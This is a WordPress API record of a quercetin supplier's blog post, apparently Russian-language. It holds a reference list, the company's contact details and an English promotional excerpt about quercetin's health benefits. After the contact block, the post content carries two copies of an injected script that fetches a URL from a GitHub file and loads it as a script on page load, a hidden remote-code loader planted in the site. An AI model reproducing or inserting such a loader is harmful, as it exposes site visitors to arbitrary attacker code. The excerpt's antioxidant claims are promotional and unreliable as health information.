\u0430\u0432\u0433\u0443\u0441\u0442\u0435 2016 \u0433\u043e\u0434\u0430, <\/p>\n\n\n\n<p>\u041a\u043e\u0439\u043b, \u0434. \"\u0421\u0443\u043b\u044c\u0444\u043e\u0440\u0430\u0444\u0430\u043d: \u043f\u043e\u043b\u044c\u0437\u0430, \u043f\u043e\u0431\u043e\u0447\u043d\u044b\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u044b \u0438 \u043f\u0438\u0449\u0435\u0432\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438\", Healthline, \u0432 \u0444\u0435\u0432\u0440\u0430\u043b\u0435 2019 \u0433, <\/p>\n\n\n\n<p>\u0425\u0430\u0439\u043d\u0446, \u0421. \u0438 \u0434\u0440. \"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d \u0438 \u0438\u043d\u0444\u0435\u043a\u0446\u0438\u0438 \u0432\u0435\u0440\u0445\u043d\u0438\u0445 \u0434\u044b\u0445\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u043f\u0443\u0442\u0435\u0439: \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u043a\u043b\u0438\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u0430\", <\/p>\n\n\n\n<p>- \u0425\u0443\u0441\u0430\u043c \u0414\u0430\u0431\u0431\u0430\u0433-\u0411\u0430\u0437\u0430\u0440\u0431\u0430\u0447\u0438 \u0438 \u0434\u0440. \"\u0426\u0438\u043d\u043a-\u0438\u043e\u043d\u043e\u0444\u043e\u0440\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \u0438 \u044d\u043f\u0438\u0433\u0430\u043b\u043b\u043e\u043a\u0430\u0442\u0435\u0445\u0438\u043d\u0430 \u0433\u0430\u043b\u043b\u0430\u0442\u0430: \u043e\u0442 \u043a\u043b\u0435\u0442\u043e\u043a Hepa 1-6 \u0434\u043e \u043b\u0438\u043f\u043e\u0441\u043e\u043c\u043d\u044b\u0445 \u043c\u043e\u0434\u0435\u043b\u0435\u0439\". \u0416\u0443\u0440\u043d\u0430\u043b \u0441\u0435\u043b\u044c\u0441\u043a\u043e\u0445\u043e\u0437\u044f\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438 \u043f\u0438\u0449\u0435\u0432\u043e\u0439 \u0445\u0438\u043c\u0438\u0438,<\/p>\n\n\n\n<p>\u041a\u0438\u0440\u043a\u043b\u0430\u043d\u0434, JL \u0438 \u0422 \u0427\u043a\u043e\u043d\u0438\u044f. \"\u0421\u0435\u043d\u043e\u043b\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043f\u0440\u0435\u043f\u0430\u0440\u0430\u0442\u044b: \u041e\u0442 \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u044f \u0434\u043e \u0442\u0440\u0430\u043d\u0441\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438\". \u0416\u0443\u0440\u043d\u0430\u043b \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u044b, <\/p>\n\n\n\n<p>- \u041a\u043e\u043a\u043e\u0442\u0443, \u041c. \u0413. \u0438 \u0434\u0440. \"\u041c\u0430\u0441\u0441-\u0441\u043f\u0435\u043a\u0442\u0440\u043e\u043c\u0435\u0442\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0432\u044b\u0441\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441\u0443\u043b\u044c\u0444\u043e\u0440\u0430\u0444\u0430\u043d\u0430 \u0438 \u0438\u043d\u0434\u043e\u043b-3-\u043c\u0435\u0442\u0430\u043d\u043e\u043b\u0430 \u0432 \u0431\u0440\u043e\u043a\u043a\u043e\u043b\u0438\". \u041f\u0438\u0449\u0435\u0432\u0430\u044f \u0445\u0438\u043c\u0438\u044f, <\/p>\n\n\n\n<p>- Ostadmohammadi, V et al. \"\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0433\u043b\u0438\u043a\u0435\u043c\u0438\u0438 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u043e\u043c \u0443 \u043f\u0430\u0446\u0438\u0435\u043d\u0442\u043e\u0432 \u0441 \u043c\u0435\u0442\u0430\u0431\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0441\u0438\u043d\u0434\u0440\u043e\u043c\u043e\u043c \u0438 \u0441\u043e\u043f\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u043c\u0438 \u0440\u0430\u0441\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438: \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u0430-\u0430\u043d\u0430\u043b\u0438\u0437\", \u0424\u0438\u0442\u043e\u0442\u0435\u0440\u0430\u043f\u0435\u0432\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u0432 \u043c\u0430\u0435 2019 \u0433\u043e\u0434\u0430, <\/p>\n\n\n\n<p>- Selban, MC \u0438 \u0434\u0440. \"\u0412\u043b\u0438\u044f\u043d\u0438\u0435 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \u043d\u0430 \u0430\u0440\u0442\u0435\u0440\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u0430\u0432\u043b\u0435\u043d\u0438\u0435: \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0431\u0437\u043e\u0440 \u0440\u0430\u043d\u0434\u043e\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u0435\u0442\u0430-\u0430\u043d\u0430\u043b\u0438\u0437\", \u0436\u0443\u0440\u043d\u0430\u043b \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0439 \u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u0438 \u0441\u0435\u0440\u0434\u0446\u0430, \u0438\u044e\u043b\u044c 2016 \u0433,<\/p>\n\n\n\n<p>\u0423\u043e\u043b\u0448, \u0420\u041f \u0438 \u0434\u0440. \"\u041a\u0435\u0439\u043b \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u043e\u0432\u043e\u0449\u0438, \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f \u043a\u0430\u0440\u043e\u0442\u0438\u043d\u043e\u0438\u0434\u043e\u0432: \u043e\u0431\u0437\u043e\u0440 \u0432\u043b\u0438\u044f\u043d\u0438\u044f \u0434\u043e \u0438 \u043f\u043e\u0441\u043b\u0435 \u0441\u0431\u043e\u0440\u0430 \u0443\u0440\u043e\u0436\u0430\u044f\", \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u0435\u043b\u044c\u0441\u043a\u043e\u0445\u043e\u0437\u044f\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0438 \u043f\u0438\u0449\u0435\u0432\u043e\u0439 \u0445\u0438\u043c\u0438\u0438, \u043d\u043e\u044f\u0431\u0440\u044c 2015 \u0433, <\/p>\n\n\n\n<p>- \"\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0444\u0435\u043d\u043e\u043b\u0430\". <\/p>\n\n\n\n<p>\"\u0412\u0438\u0442\u0430\u043c\u0438\u043d \u0421 - \u043a\u0440\u0430\u0442\u043a\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435\", \u0418\u043d\u0441\u0442\u0438\u0442\u0443\u0442 \u041b\u0430\u0439\u043d\u0443\u0441\u0430 \u041f\u043e\u043b\u0438\u043d\u0433\u0430<\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \/\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043e\u043a \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430\/ \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430 \/\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430\/ \u0444\u0430\u0431\u0440\u0438\u043a\u0430 \u043a\u0432\u0435\u0440\u0446\u0435\u0442\u0438\u043d\u0430\uff1a.<\/p>\n\n\n\n<p><strong><em>www.backvita.com<\/em><br>\u042d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u0430\u044f \u043f\u043e\u0447\u0442\u0430: info@backvita.com<br>\u0422\u0435\u043b\u0435\u0444\u043e\u043d: +86 (029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>Quercetin benefits is a widely distributed bioflavonoid in the plant kingdom. It is a polyphenol that forms the basis of many different plant pigments. What are the benefits of quercetin? How, specifically, does quercetin benefit your health? Antioxidant Quercetin is an antioxidant whose antioxidant capacity is about 50 times that of vitamin E and about [&hellip;]<\/p>","protected":false},"author":1,"featured_media":2805,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"What is quercetin?","_seopress_titles_desc":"Quercetin has anti-inflammatory properties that inhibit the inflammatory response and the release of inflammatory mediators. This is very beneficial for reducing the symptoms of inflammatory diseases and pain associated with inflammation, such as arthritis, inflammatory bowel disease, and allergic diseases.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1725,1394,1722,1726,1723,1727,1724],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin-300x300.webp",300,300,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",12,12,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin.webp",436,437,false],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/10\/Quercetin-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>Quercetin benefits is a widely distributed bioflavonoid in the plant kingdom. It is a polyphenol that forms the basis of many different plant pigments. What are the benefits of quercetin? How, specifically, does quercetin benefit your health? Antioxidant Quercetin is an antioxidant whose antioxidant capacity is about 50 times that of vitamin E and about 20 times that of vitamin C. It can eliminate free radicals in three ways: 1) Clear it directly yourself 2) By enzymes that scavenge free radicals 3) Inhibit free radical production Simply put, it is to destroy free radicals by itself; Destroy free radicals through&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/ru\/category\/\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u044b\u0435-\u0442\u0435\u043d\u0434\u0435\u043d\u0446\u0438\u0438\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/ru\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4657"}],"collection":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/comments?post=4657"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4657\/revisions"}],"predecessor-version":[{"id":6420,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/posts\/4657\/revisions\/6420"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media\/2805"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/media?parent=4657"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/categories?post=4657"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/ru\/wp-json\/wp\/v2\/tags?post=4657"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}